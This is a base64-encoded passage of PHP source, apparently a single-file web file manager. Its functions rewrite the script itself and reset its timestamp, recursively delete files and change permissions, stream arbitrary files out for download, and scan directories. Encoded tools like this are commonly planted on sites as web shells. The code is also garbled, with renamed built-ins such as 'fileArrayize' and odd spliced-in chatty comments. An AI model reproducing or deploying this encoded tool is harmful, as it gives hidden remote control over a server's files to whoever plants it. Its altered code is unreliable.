fZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsNCg0KCSAgICAgCSAgICAgJHNlYXJjaCA9IHByZWdfbWF0Y2goJyN0cmFuc2xhdGlvbltcc10%2FXD1bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7DQoNCgkgICAgIAkgICAgIGlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7DQoNCgkgICAgIAkgICAgIAkgICAgICRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkdHJhbnNsYXRpb25fc3RyaW5nLCRmZ2MpOw0KDQoJICAgICAJICAgICAJICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCgkgICAgIAkgICAgIAkgICAgIH0JICAgICBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0JICAgICANCg0KCSAgICAgCSAgICAgJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb25fc3RyaW5nLHRydWUpOw0KCSAgICAgfQ0KDQp9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi8qIEZ1bmN0aW9ucyAqLw0KDQovL3RyYW5zbGF0aW9uDQoNCmZ1bmN0aW9uIF9fKCR0ZXh0KXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGdsb2JhbCAkbGFuZzsNCgkgICAgIGlmIChpc3NldCgkbGFuZ1skdGV4dF0pKSByZXR1cm4gJGxhbmdbJHRleHRdOw0KCSAgICAgZWxzZSByZXR1cm4gJHRleHQ7DQoNCn07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCi8vZGVsZXRlIGZpbGVBcnJheSBhbmQgZGlycyByZWN1cnNpdmVseQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9kZWxfZmlsZUFycmF5KCRmaWxlX2dldCwgJHJlY3Vyc2l2ZSA9IGZhbHNlKSB7DQoJICAgICBpZigkcmVjdXJzaXZlICYmIEBpc19kaXIoJGZpbGVfZ2V0KSkgew0KDQoJICAgICAJICAgICAkZWxzID0gZm1fc2Nhbl9kaXIoJGZpbGVfZ2V0LCAnJywgJycsIHRydWUpOw0KDQoJICAgICAJICAgICBmb3JlYWNoICgkZWxzIGFzICRlbCkgew0KDQoJICAgICAJICAgICAJICAgICBpZigkZWwgIT0gJy4nICYmICRlbCAhPSAnLi4nKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm1fZGVsX2ZpbGVBcnJheSgkZmlsZV9nZXQgLiAnLycgLiAkZWwsIHRydWUpOw0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmKEBpc19kaXIoJGZpbGVfZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICByZXR1cm4gcm1kaXIoJGZpbGVfZ2V0KTsNCg0KCSAgICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgcmV0dXJuIEB1bmxpbmsoJGZpbGVfZ2V0KTsNCg0KCSAgICAgfQ0KfQ0KDQoNCi8vZmlsZSBwZXJtcw0KDQpmdW5jdGlvbiBmbV9yaWdodHNfc3RyaW5nKCRmaWxlX2dldCwgJGlmID0gZmFsc2Upew0KCSAgICAgJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlX2dldCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkaW5mbyA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYoISRpZil7DQoJICAgICAJICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIC8vU29ja2V0DQoNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ3MnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQoJICAgICAJICAgICAJICAgICAvL1N5bWJvbGljIExpbmsNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgLy9SZWd1bGFyDQoNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJy0nOw0KDQoJICAgICAJICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7DQoJICAgICAJICAgICAJICAgICAvL0Jsb2NrIHNwZWNpYWwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAnYic7DQoNCgkgICAgIAkgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsNCgkgICAgIAkgICAgIAkgICAgIC8vRGlyZWN0b3J5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ2QnOw0KCSAgICAgCSAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KDQoJICAgICAJICAgICAJICAgICAvL0NoYXJhY3RlciBzcGVjaWFsDQoJICAgICAJICAgICAJICAgICAkaW5mbyA9ICdjJzsNCgkgICAgIAkgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsNCgkgICAgIAkgICAgIAkgICAgIC8vRklGTyBwaXBlDQoJICAgICAJICAgICAJICAgICAkaW5mbyA9ICdwJzsNCgkgICAgIAkgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgLy9Vbmtub3duDQoNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ3UnOw0KCSAgICAgCSAgICAgfQ0KCSAgICAgfQ0KDQogIA0KDQoJICAgICAvLyBuZSwgd2F0Y2hpbmcgb3ZlciB5b3VyIHN5c3RlbSBsaWtlIGEgdmlnaWxhbnQgZ3VhcmRpYW4NCg0KCSAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KDQoJICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQoNCgkgICAgICgoJHBlcm1zICYgMHgwODAwKSA%2FICdTJyA6ICctJykpOw0KIA0KDQoJICAgICAvLyBzb3UgZGVzdSwgbGlrZSBjaGVja2luZyB5b3VyIGNsb2NrIGJlZm9yZSB5b3Ugc3RhcnQgeW91ciBuZXh0IGJpZyBwcm9qZWN077%2B977%2B9dGltZSBmbGllcyB3aGVuIHlvde%2B%2Fve%2B%2FvXJlIHdvcmtpbmcgb24gZmlsZXMhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA%2FICdyJyA6ICctJyk7DQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8NCg0KCSAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KCSAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCiANCg0KCSAgICAgLy9Xb3JsZA0KDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KDQoJICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICgoJHBlcm1zICYgMHgwMjAwKSA%2FICdUJyA6ICctJykpOw0KDQoNCg0KCSAgICAgcmV0dXJuICRpbmZvOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KZnVuY3Rpb24gZm1fY29udmVydF9yaWdodHMoJG1vZGUpIHsNCg0KCSAgICAgJG1vZGUgPSBzdHJfcGFkKCRtb2RlLDksJy0nKTsNCg0KCSAgICAgJHRyYW5zID0gYXJyYXkoJy0nPT4nMCcsJ3InPT4nNCcsJ3cnPT4nMicsJ3gnPT4nMScpOw0KDQoJICAgICAkbW9kZSA9IHN0cnRyKCRtb2RlLCR0cmFucyk7DQoJICAgICAkbmV3bW9kZSA9ICcwJzsNCg0KCSAgICAgJG93bmVyID0gKGludCkgJG1vZGVbMF0gKyAoaW50KSAkbW9kZVsxXSArIChpbnQpICRtb2RlWzJdOyANCg0KCSAgICAgJGdyb3VwID0gKGludCkgJG1vZGVbM10gKyAoaW50KSAkbW9kZVs0XSArIChpbnQpICRtb2RlWzVdOyANCg0KCSAgICAgJHdvcmxkID0gKGludCkgJG1vZGVbNl0gKyAoaW50KSAkbW9kZVs3XSArIChpbnQpICRtb2RlWzhdOyANCg0KCSAgICAgJG5ld21vZGUgLj0gJG93bmVyIC4gJGdyb3VwIC4gJHdvcmxkOw0KCSAgICAgcmV0dXJuIGludHZhbCgkbmV3bW9kZSwgOCk7DQoNCn0NCg0KDQpmdW5jdGlvbiBmbV9jaG1vZCgkZmlsZV9nZXQsICR2YWwsICRyZWMgPSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHJlcyA9IEBjaG1vZChyZWFscGF0aCgkZmlsZV9nZXQpLCAkdmFsKTsNCg0KCSAgICAgaWYoQGlzX2RpcigkZmlsZV9nZXQpICYmICRyZWMpew0KDQoJICAgICAJICAgICAkZWxzID0gZm1fc2Nhbl9kaXIoJGZpbGVfZ2V0KTsNCg0KCSAgICAgCSAgICAgZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgJHJlcyA9ICRyZXMgJiYgZm1fY2htb2QoJGZpbGVfZ2V0IC4gJy8nIC4gJGVsLCAkdmFsLCB0cnVlKTsNCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiAkcmVzOw0KDQp9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi8vbG9hZCBmaWxlQXJyYXkNCg0KZnVuY3Rpb24gZm1fZG93bmxvYWQoJGFyY2hpdmVFbnRyeU5hbWUpIHsNCg0KICAgIGlmICghZW1wdHkoJGFyY2hpdmVFbnRyeU5hbWUpKSB7DQoJICAgICAJICAgICBpZiAoZmlsZV9leGlzdHMoJGFyY2hpdmVFbnRyeU5hbWUpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IiAuIGJhc2VuYW1lKCRhcmNoaXZlRW50cnlOYW1lKSk7ICAgDQoJICAgICAJICAgICAJICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZm9yY2UtZG93bmxvYWQiKTsNCgkgICAgIAkgICAgIAkgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2Rvd25sb2FkIik7DQoNCgkgICAgIAkgICAgIAkgICAgIGhlYWRlcigiQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlciIpOyAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCgkgICAgIAkgICAgIAkgICAgIGhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlQXJyYXlpemUoJGFyY2hpdmVFbnRyeU5hbWUpKTsJICAgICAJICAgICANCg0KCSAgICAgCSAgICAgCSAgICAgZmx1c2goKTsgLy8gdGhpcyBkb2Vzbid0IHJlYWxseSBtYXR0ZXIuDQoNCgkgICAgIAkgICAgIAkgICAgICRmcCA9IGZvcGVuKCRhcmNoaXZlRW50cnlOYW1lLCAiciIpOw0KCSAgICAgCSAgICAgCSAgICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGVjaG8gZnJlYWQoJGZwLCA2NTUzNik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZmx1c2goKTsgLy8gdGhpcyBpcyBlc3NlbnRpYWwgZm9yIGxhcmdlIGRvd25sb2Fkcw0KDQoJICAgICAJICAgICAJICAgICB9IA0KDQoJICAgICAJICAgICAJICAgICBmY2xvc2UoJGZwKTsNCg0KCSAgICAgCSAgICAgCSAgICAgZGllKCk7DQoJICAgICAJICAgICB9IGVsc2Ugew0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJywgdHJ1ZSwgNDA0KTsNCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCdTdGF0dXM6IDQwNCBOb3QgRm91bmQnKTsgDQoNCgkgICAgIAkgICAgIAkgICAgIGRpZSgpOw0KICAgICAgICB9DQogICAgfSANCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KLy9zaG93IGZvbGRlciBzaXplDQpmdW5jdGlvbiBmbV9kaXJfc2l6ZSgkZiwkZm9ybWF0PXRydWUpIHsNCgkgICAgIGlmKCRmb3JtYXQpICB7DQoJICAgICAJICAgICAkc2l6ZT1mbV9kaXJfc2l6ZSgkZixmYWxzZSk7DQoNCgkgICAgIAkgICAgIGlmKCRzaXplPD0xMDI0KSByZXR1cm4gJHNpemUuJyBieXRlcyc7DQoNCgkgICAgIAkgICAgIGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQpLDIpLicmbmJzcDtLYic7DQoNCgkgICAgIAkgICAgIGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KSwyKS4nJm5ic3A7TWInOw0KCSAgICAgCSAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7R2InOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtUYic7IC8vOikpKQ0KDQoJICAgICAJICAgICBlbHNlIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7UGInOyAvLyA7LSkNCgkgICAgIH0gZWxzZSB7DQoJICAgICAJICAgICBpZihpc19maWxlKCRmKSkgcmV0dXJuIGZpbGVBcnJheWl6ZSgkZik7DQoJICAgICAJICAgICAkc2l6ZT0wOw0KDQoJICAgICAJICAgICAkZGg9b3BlbmRpcigkZik7DQoNCgkgICAgIAkgICAgIHdoaWxlKCgkZmlsZV9nZXQ9cmVhZGRpcigkZGgpKSE9PWZhbHNlKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmKCRmaWxlX2dldD09Jy4nIHx8ICRmaWxlX2dldD09Jy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmKGlzX2ZpbGUoJGYuJy8nLiRmaWxlX2dldCkpICRzaXplKz1maWxlQXJyYXlpemUoJGYuJy8nLiRmaWxlX2dldCk7DQoJICAgICAJICAgICAJICAgICBlbHNlICRzaXplKz1mbV9kaXJfc2l6ZSgkZi4nLycuJGZpbGVfZ2V0LGZhbHNlKTsNCg0KCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgY2xvc2VkaXIoJGRoKTsNCg0KCSAgICAgCSAgICAgcmV0dXJuICRzaXplK2ZpbGVBcnJheWl6ZSgkZik7IA0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi8vc2NhbiBkaXJlY3RvcnkNCmZ1bmN0aW9uIGZtX3NjYW5fZGlyKCRkaXJlY3RvcnksICRleHAgPSAnJywgJHR5cGUgPSAnYWxsJywgJGRvX25vdF9maWx0ZXIgPSBmYWxzZSkgew0KDQoJICAgICAkZGlyID0gJG5kaXIgPSBhcnJheSgpOw0KDQoJICAgICBpZighZW1wdHkoJGV4cCkpew0KDQoJICAgICAJICAgICAkZXhwID0gJy9eJyAuIHN0cl9yZXBsYWNlKCcqJywgJyguKiknLCBzdHJfcmVwbGFjZSgnLicsICdcXC4nLCAkZXhwKSkgLiAnJC8nOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYoIWVtcHR5KCR0eXBlKSAmJiAkdHlwZSAhPT0gJ2FsbCcpew0KCSAgICAgCSAgICAgJGZ1bmMgPSAnaXNfJyAuICR0eXBlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCgkgICAgIGlmKEBpc19kaXIoJGRpcmVjdG9yeSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGZoID0gb3BlbmRpcigkZGlyZWN0b3J5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZmgpKSkgew0KDQoJICAgICAJICAgICAJICAgICBpZihzdWJzdHIoJGZpbGVuYW1lLCAwLCAxKSAhPSAnLicgfHwgJGRvX25vdF9maWx0ZXIpIHsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmKChlbXB0eSgkdHlwZSkgfHwgJHR5cGUgPT0gJ2FsbCcgfHwgJGZ1bmMoJGRpcmVjdG9yeSAuICcvJyAuICRmaWxlbmFtZSkpICYmIChlbXB0eSgkZXhwK